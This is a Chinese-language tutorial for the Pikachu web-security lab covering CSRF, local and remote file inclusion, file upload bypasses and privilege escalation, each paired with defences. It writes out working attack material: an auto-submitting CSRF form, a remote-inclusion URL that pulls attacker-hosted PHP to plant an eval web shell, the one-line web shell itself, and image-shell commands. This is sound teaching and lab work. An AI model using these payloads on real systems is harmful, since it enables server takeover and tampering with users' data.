摘要: 本篇是Pikachu靶场系列教程的第四篇,将带领大家攻克四个重要的Web安全漏洞模块:CSRF(跨站请求伪造) 、文件包含漏洞 、文件上传漏洞 和越权漏洞。
CSRF漏洞利用的是服务器对用户请求来源的信任,攻击者可以伪造请求让受害者在不知情的情况下执行恶意操作。文件包含漏洞则是由于程序动态包含文件时未对用户输入进行过滤,导致攻击者可以读取敏感文件甚至执行远程恶意代码。文件上传漏洞允许攻击者上传恶意脚本到服务器,从而获得服务器控制权。越权漏洞则是因为权限校验不严谨,导致低权限用户可以访问或操作高权限用户的数据。
一、CSRF(跨站请求伪造)
1.1 基础知识
什么是CSRF?
CSRF(Cross-Site Request Forgery),全称"跨站请求伪造",是一种利用用户已登录的身份,在用户不知情的情况下执行非本意操作的攻击方式。
攻击原理:
攻击者伪造一个请求(通常是一个链接或表单),诱使已登录目标网站的用户点击。由于该请求携带着用户的身份认证信息(如Cookie),服务器会认为这是用户本人发起的合法请求,从而执行操作。

CSRF的三个核心条件:
-
用户已经登录了目标网站(持有有效Cookie)
-
用户点击了攻击者构造的恶意链接或访问了恶意页面
-
目标网站没有有效的CSRF防护机制
CSRF与XSS的区别:
-
XSS是攻击者在目标网站注入恶意脚本
-
CSRF是攻击者利用用户身份在目标网站执行操作
-
XSS可以窃取信息,CSRF主要是执行操作
1.2 CSRF(GET型)
关卡介绍
这是CSRF模块的第一关。用户登录后可以修改个人信息,修改操作通过GET请求提交,所有参数都在URL中明文传输。
攻击思路
因为请求方式是GET,参数直接在URL中可见,攻击者可以构造一个包含恶意参数的URL,诱使已登录的受害者点击。受害者点击后,浏览器会自动携带Cookie发起请求,服务器认为请求合法,执行信息修改。
实操步骤
第一步:登录系统
使用提示的账号登录(如kobe/123456),进入个人信息修改页面。

第二步:抓包分析
打开Burp Suite拦截,修改个人信息(如修改地址),抓取请求包,可以看到所有参数都在URL中。


第三步:构造恶意URL
攻击者将URL中的参数修改为想要的值:
http://192.168.137.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=男&phonenum=15988767673&add=ysyxisyourbaba&email=kobe%40pikachu.com&submit=submit
第四步:诱使受害者点击
将这个URL通过各种方式(邮件、短信、聊天等)发送给已登录的受害者。
第五步:验证攻击结果
受害者点击后,其个人信息中的地址被修改为攻击者指定的内容。

代码解析
// csrf_get_edit.php
$sex = $_GET['sex'];
$phonenum = $_GET['phonenum'];
$add = $_GET['add'];
$email = $_GET['email'];
// 直接执行更新操作,没有验证请求来源
$update_sql = "UPDATE member SET sex='$sex', phonenum='$phonenum', address='$add', email='$email' WHERE username='$username'";
漏洞原因:
-
使用GET方式处理敏感操作
-
没有CSRF Token验证
-
没有验证请求来源(Referer)
防御方案
-
敏感操作使用POST方法,不使用GET
-
添加CSRF Token:为每个表单生成唯一Token并验证
-
验证Referer头:检查请求是否来自可信源
-
添加验证码:关键操作要求输入验证码
1.3 CSRF(POST型)
关卡介绍
第二关将请求方式从GET改为了POST。参数不再显示在URL中,攻击难度有所提升,但依然存在漏洞。
攻击思路
虽然POST请求的参数不在URL中,但攻击者可以构造一个自动提交的HTML表单,当受害者访问包含该表单的页面时,表单会自动提交POST请求。
实操步骤
第一步:登录并抓包
登录后修改个人信息,用Burp Suite拦截POST请求:


第二步:生成CSRF POC
在Burp Suite中右键点击请求 → Engagement tools → Generate CSRF PoC。

第三步:复制HTML代码
Burp会自动生成一个包含自动提交表单的HTML页面。
html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://192.168.137.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="boy" />
<input type="hidden" name="phonenum" value="15988767673" />
<input type="hidden" name="add" value="nba lakes" />
<input type="hidden" name="email" value="kobe@pikachu.com" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
第四步:诱使受害者访问
将这个HTML页面放置在攻击者控制的网站上,诱使已登录的受害者访问。

代码解析
html
// csrf_post_edit.php
if ($_POST['submit']) {
$sex = $_POST['sex'];
$phonenum = $_POST['phonenum'];
$add = $_POST['add'];
$email = $_POST['email'];
// 直接更新,没有验证Token
$update_sql = "UPDATE member SET ... WHERE username='$username'";
mysqli_query($link, $update_sql);
}
漏洞原因:
-
没有CSRF Token验证
-
没有验证请求来源
-
仅靠Cookie识别用户身份
防御方案
-
添加CSRF Token:每个表单生成唯一Token,提交时验证
-
验证Referer:检查请求来源
-
双重认证:敏感操作要求二次验证(如密码确认)
1.4 CSRF(Token绕过)
关卡介绍
第三关加入了Token防护机制。每次刷新页面,表单中都会生成一个随机的Token值,提交时需要同时提交Token,服务器验证Token有效性。
攻击思路
Token机制确实能有效防御CSRF,因为攻击者无法提前获取有效的Token。但要注意:Token不能通过URL传递 (否则会泄露),且Token必须与用户会话绑定。如果Token可以从页面中提取(比如通过XSS),则仍可能被绕过。
实操步骤
第一步:观察Token
登录后进入修改页面,查看页面源码或抓包,会发现有一个隐藏的token字段:


每次刷新页面,这个值都会变化。
第二步:尝试直接构造请求
右键发送到repeater重放器,尝试直接构造GET请求:
html
GET /pikachu/vul/csrf/csrftoken/token_get_edit.php?sex=boy&phonenum=13676767767&add=城市&email=allen%40pikachu.com&token=旧token&submit=submit
服务器会验证token无效,拒绝请求。

第三步:理解为什么无法绕过
因为Token是随机的且与当前会话绑定,攻击者无法提前获取有效的Token值,因此无法构造有效的恶意请求。
代码解析
html
// token_get_edit.php
session_start();
$token = $_GET['token'];
// 验证Token是否与Session中的一致
if ($token !== $_SESSION['csrf_token']) {
die("Token验证失败!");
}
// Token验证通过后才执行更新
$update_sql = "UPDATE member SET ...";
防护原理:
-
服务器在Session中存储一个随机Token
-
表单中隐藏字段包含同样的Token
-
提交时比对两者是否一致
防御方案(强化)
-
Token与Session绑定:每个用户的Token独立且存储在服务端
-
Token随机生成:使用安全的随机数生成器
-
Token不能通过URL传递:避免Token泄露
-
Token设置有效期:防止Token被长期复用
-
结合SameSite Cookie属性:限制跨站请求携带Cookie
二、文件包含漏洞(File Inclusion)
2.1 基础知识
什么是文件包含?
文件包含是编程语言提供的一个功能,允许在一个代码文件中包含(引入)另一个代码文件。在PHP中,主要有include()、include_once()、require()、require_once()四个函数。
什么是文件包含漏洞?
当文件包含函数中的文件路径由用户输入控制,且程序没有做严格的过滤时,攻击者可以指定任意文件让服务器去包含和执行,这就产生了文件包含漏洞。
文件包含漏洞的分类:
| 类型 | 说明 | 危害 |
|---|---|---|
| 本地文件包含(LFI) | 包含服务器本地的文件 | 读取敏感文件、获取源码 |
| 远程文件包含(RFI) | 包含远程服务器上的文件 | 执行任意代码、获取服务器权限 |

RFI的前提条件:
-
php.ini中allow_url_include = On -
allow_url_fopen = On
2.2 本地文件包含(LFI)
关卡介绍
Pikachu的本地文件包含关卡允许用户通过URL参数指定要包含的文件。程序没有对用户输入进行过滤,导致攻击者可以读取服务器上的任意文件。
攻击思路
攻击者通过修改filename参数的值,利用../(目录遍历)读取服务器上的敏感文件,如配置文件、系统文件、源码等。
实操步骤
第一步:进入关卡
访问本地文件包含页面,下拉选择,点击提交可以查看内容。

第二步:观察URL
第三步:读取敏感文件
尝试修改filename参数读取系统敏感文件:

第四步:读取phpinfo文件


代码解析
// fi_local.php
$filename = $_GET['filename'];
include($filename); // 直接包含用户输入的文件
漏洞原因:
-
直接将用户输入作为文件路径
-
没有做任何过滤或白名单限制
-
没有限制包含的目录范围
防御方案
-
使用白名单:只允许包含预设的文件列表
-
限制目录 :使用
open_basedir限制PHP可访问的目录 -
过滤危险字符 :过滤
../、./等路径 traversa 字符 -
禁用远程包含 :关闭
allow_url_include
2.3 远程文件包含(RFI)
关卡介绍
远程文件包含关卡允许包含远程服务器上的文件。攻击者可以在自己控制的服务器上放置恶意代码,然后让目标服务器包含并执行。
攻击思路
攻击者在自己的服务器上放置一个包含恶意PHP代码的文件(如txt格式),然后构造URL让目标服务器包含这个远程文件,从而执行恶意代码。
实操步骤
第一步:确认RFI可用
访问远程文件包含页面,尝试包含一个远程文件:
http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=http://攻击者服务器/test.txt&submit=提交查询


第二步:准备恶意文件
在攻击者服务器上创建一个文本文件hacker.txt,内容为:
<?php
// 创建一个写文件的操作
$myfile = fopen("shell.php", "w");
$txt = '<?php @eval($_POST["cmd"]);?>';
fwrite($myfile, $txt);
fclose($myfile);
?>
这段代码会在目标服务器上创建一个一句话木马文件shell.php。
第三步:发起攻击
构造URL让目标服务器包含恶意文件:
html
http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=http://攻击者服务器/hacker.txt&submit=提交查询

第四步:获取shell
目标服务器执行恶意代码后,会在其根目录生成shell.php,攻击者即可通过蚁剑等工具连接。



代码解析
// fi_remote.php
$filename = $_GET['filename'];
include($filename); // 可以包含远程文件
漏洞原因:
-
allow_url_include开启 -
用户输入直接传入
include()函数
防御方案
-
关闭远程包含 :
allow_url_include = Off -
严格过滤用户输入 :禁止
http://、https://等协议 -
使用白名单:只允许包含指定目录下的文件
-
定期更新PHP版本:修复已知安全漏洞
三、文件上传漏洞(Unsafe Fileupload)
3.1 基础知识
什么是文件上传漏洞?
文件上传功能在Web应用中非常常见(如头像上传、附件上传等)。如果后台对上传的文件没有进行严格的安全检查,攻击者可能上传恶意文件(如一句话木马),从而获取服务器控制权。

文件上传成功的四个前提:
-
目标具有文件上传功能
-
上传后的文件能够被Web服务器解析执行
-
知道文件上传后的存放路径和文件名
-
目标文件可以被用户访问
Pikachu的文件上传模块包含三个关卡,分别对应三种不同的验证机制:
| 关卡 | 验证方式 | 验证位置 |
|---|---|---|
| 第一关 | 文件扩展名检查 | 客户端(JavaScript) |
| 第二关 | MIME类型检查 | 服务端 |
| 第三关 | getimagesize()检查 | 服务端 |
3.2 客户端检查(Client Check)
关卡介绍
这一关的验证逻辑在前端 ,通过JavaScript检查文件扩展名是否为jpg、png、gif。
攻击思路
因为验证在前端,攻击者可以:
-
禁用浏览器JavaScript
-
使用Burp Suite拦截修改请求
-
修改页面源码绕过检查
实操步骤
方法一:禁用JavaScript
以Firefox为例:
-
地址栏输入
about:config -
搜索
javascript.enabled -
将值改为
false -
直接上传PHP文件

方法二:Burp Suite抓包修改
第一步:准备一句话木马
创建文件shell.php,内容为:
html
<?php @eval($_POST['password']); ?>
第二步:修改文件扩展名
将shell.php重命名为shell.jpg
第三步:上传并抓包
在页面上传shell.jpg,用Burp Suite拦截请求。
第四步:修改文件名
在拦截的数据包中,将filename="shell.jpg"修改为filename="shell.php"。
第五步:转发请求
点击Forward,文件成功上传为PHP格式。


代码解析
html
// 前端JavaScript验证代码
function checkFileExt(filename) {
var flag = false;
var arr = ["jpg", "png", "gif"]; // 白名单
var index = filename.lastIndexOf(".");
var ext = filename.substr(index + 1);
for (var i = 0; i < arr.length; i++) {
if (ext == arr[i]) {
flag = true;
break;
}
}
if (!flag) {
alert("上传的文件不符合要求,请重新选择!");
location.reload(true);
}
}
漏洞原因:
-
验证逻辑完全在客户端
-
服务器端没有任何检查
-
JavaScript可以被禁用或绕过
防御方案
-
服务端验证:所有文件验证必须在服务端完成
-
检查文件扩展名:服务端白名单验证
-
检查文件MIME类型:服务端验证Content-Type
-
检查文件内容 :使用
getimagesize()等函数验证真实内容 -
重命名文件:上传后重命名为随机名称
-
限制上传目录执行权限:禁止PHP解析上传目录
3.3 MIME类型检查
关卡介绍
第二关的验证在服务端 ,检查HTTP请求头中的Content-Type字段(即MIME类型)。
攻击思路
Content-Type是由客户端(浏览器)发送的,攻击者可以伪造这个字段。
实操步骤
第一步:准备木马文件
创建shell.php,内容为一句话木马。
第二步:上传并抓包
上传shell.php,Burp Suite拦截请求:

第三步:修改MIME类型
将Content-Type: application/x-php修改为图片类型:
html
Content-Type: image/jpeg或Content-Type: image/png

第四步:转发请求
修改后Forward,服务器被伪造的MIME类型欺骗,允许文件上传。

代码解析
html
// 服务端MIME类型检查
$allow_type = array('image/jpeg', 'image/png', 'image/gif');
if (!in_array($_FILES['uploadfile']['type'], $allow_type)) {
die("文件类型不允许!");
}
// 允许上传
move_uploaded_file($_FILES['uploadfile']['tmp_name'], $upload_path);
漏洞原因:
-
MIME类型由客户端提供,可以被伪造
-
仅依赖MIME类型判断文件安全性不足
防御方案
-
不要信任客户端提供的MIME类型
-
使用服务端函数验证文件真实类型 (如
finfo_file()) -
结合文件扩展名和白名单验证
-
检查文件内容(文件头/幻数)
3.4 getimagesize()检查
关卡介绍
第三关使用PHP的getimagesize()函数检查文件,该函数会读取文件的文件头(Magic Bytes/幻数) 来判断是否为真实图片。
攻击思路
getimagesize()只检查文件头,不检查文件全部内容。攻击者可以在真实图片文件末尾附加恶意代码,形成"图片马"。
实操步骤
第一步:准备图片马
创建一个包含恶意代码的图片文件。在命令行(Windows)或终端(Linux)中执行:
html
# Windows
copy /b 正常图片.jpg + shell.php 图片马.jpg
# Linux
cat shell.php >> 正常图片.jpg

或者在图片文件末尾手动添加:
html
<?php @eval($_POST['password']); ?>
第二步:上传图片马
上传这个"图片马"文件,getimagesize()读取文件头认为是真实图片,允许上传。

第三步:配合文件包含漏洞
单独上传图片马无法执行PHP代码,需要配合文件包含漏洞来解析执行。
构造文件包含请求:
html
http://192.168.137.1/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/图片马.jpg


然后用蚁剑/菜刀连接,配合文件包含参数即可 getshell。

代码解析
html
// getimagesize()检查
$image_info = getimagesize($_FILES['uploadfile']['tmp_name']);
if ($image_info === false) {
die("文件不是有效的图片!");
}
// 通过检查,允许上传
move_uploaded_file($_FILES['uploadfile']['tmp_name'], $upload_path);
漏洞原因:
-
getimagesize()只检查文件头,不检查完整内容 -
图片马可以绕过检查
-
配合文件包含漏洞可以执行代码
防御方案
-
重新生成图片:上传后使用GD库重新生成图片,去除恶意代码
-
检查文件内容:不仅检查文件头,还要扫描文件内容
-
限制上传目录:上传目录禁止执行PHP代码
-
文件重命名:使用随机名称,让攻击者无法预测路径
-
多层验证:结合扩展名、MIME类型、文件头多重验证
四、越权漏洞(Over Permission)
4.1 基础知识
什么是越权漏洞?
越权漏洞(Broken Access Control)是指应用程序在检查用户授权时存在缺陷,使得攻击者可以访问或操作本不该有权访问的资源。
越权的两种类型:
| 类型 | 说明 | 示例 |
|---|---|---|
| 水平越权 | 相同权限级别的用户之间互相访问数据 | 普通用户A查看普通用户B的隐私信息 |
| 垂直越权 | 低权限用户访问高权限用户的功能/数据 | 普通用户执行管理员操作 |

越权产生的原因:
-
参数可预测(如使用连续的数字ID标识资源)
-
访问控制不足
-
仅依赖前端传递的权限标识
4.2 水平越权
关卡介绍
Pikachu的水平越权关卡提供了三个普通用户账号:lucy/123456、lili/123456、kobe/123456。
攻击思路
登录一个账号后,查看个人信息时URL中包含用户名参数。修改这个参数为其他用户名,如果服务器没有验证当前登录用户是否有权查看该用户信息,就会发生水平越权。
实操步骤
第一步:登录账号
使用lucy/123456登录。

第二步:查看个人信息
点击"查看个人信息",URL如下:
html
http://127.0.0.1/pikachu/vul/overpermission/op1/op1_mem.php?username=lucy

第三步:修改用户名参数
将URL中的username=lucy改为username=lili:
html
http://127.0.0.1/pikachu/vul/overpermission/op1/op1_mem.php?username=lili

第四步:验证结果
成功查看到lili的个人信息,水平越权成功。

代码解析
html
// op1_mem.php
$username = $_GET['username'];
// 直接从数据库查询该用户的信息,没有验证当前登录用户是否有权查看
$sql = "SELECT * FROM member WHERE username='$username'";
$result = mysqli_query($link, $sql);
// 直接输出结果
漏洞原因:
-
使用可预测的用户名作为标识
-
没有验证资源所有者与当前用户是否一致
-
仅依赖登录状态,缺少权限校验
防御方案
-
验证资源所有者:每次操作前验证当前用户是否有权访问该资源
-
使用不可预测的标识符:如使用UUID代替连续数字或用户名
-
服务端权限校验:不依赖前端传递的权限标识
-
操作日志记录:记录所有敏感操作以便审计
4.3 垂直越权
关卡介绍
垂直越权关卡提供了两个用户:管理员admin/123456和普通用户pikachu/000000。
攻击思路
普通用户登录后,尝试访问只有管理员才能访问的页面(如添加用户页面)。如果服务器只检查了登录状态而没有检查权限等级,就会发生垂直越权。
实操步骤
第一步:以管理员身份登录
使用admin/123456登录,查看管理员特有的功能(如添加用户),记录URL。
html
http://192.168.137.1/pikachu/vul/overpermission/op2/op2_admin_edit.php


第二步:以普通用户身份登录
退出管理员账号,使用pikachu/000000登录。



第三步:直接访问管理员可访问的添加用户页面
在浏览器中直接输入管理员页面的URL:
html
http://192.168.137.1/pikachu/vul/overpermission/op2/op2_admin_edit.php
第四步:添加一个用户


如果成功添加用户,说明存在垂直越权漏洞。

代码解析
html
//op2_admin_edit.php
//这里只是验证了登录状态,并没有验证级别,所以存在越权问题。
if(!check_op2_login($link)){
header("location:op2_login.php");
exit();
}
漏洞原因:
-
只验证了登录状态,没有验证权限等级
-
不同权限的用户共享同一个页面
防御方案
-
基于角色的访问控制(RBAC) :每个页面验证用户角色
-
最小权限原则:用户只拥有完成工作所需的最小权限
-
服务端权限校验:所有权限判断在服务端完成
-
分层权限设计:不同权限用户访问不同页面或同一页面的不同部分
总结
本文系统梳理了 CSRF、文件包含、文件上传、越权四类核心 Web 安全漏洞。其中 CSRF 因服务端单纯信任 Cookie 导致伪造请求,可通过 Token、Referer 校验等手段防御;文件包含漏洞源于可控文件读取参数,分为本地文件读取 LFI 与远程代码执行 RFI,依靠白名单、关闭远程包含实现防护;文件上传漏洞绕过前端 JS、MIME 类型、图片头校验层层限制上传恶意脚本,需在服务端做多层校验、文件重命名并禁止上传目录脚本执行;越权漏洞分为同级访问数据的水平越权、低权限操作高权限功能的垂直越权,依托资源归属校验与 RBAC 权限体系规避风险。学习时需实操靶场关卡,吃透漏洞底层原理,结合真实业务场景举一反三,兼顾攻击思路与配套防御方案,建立完整的 Web 安全攻防思维。
**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。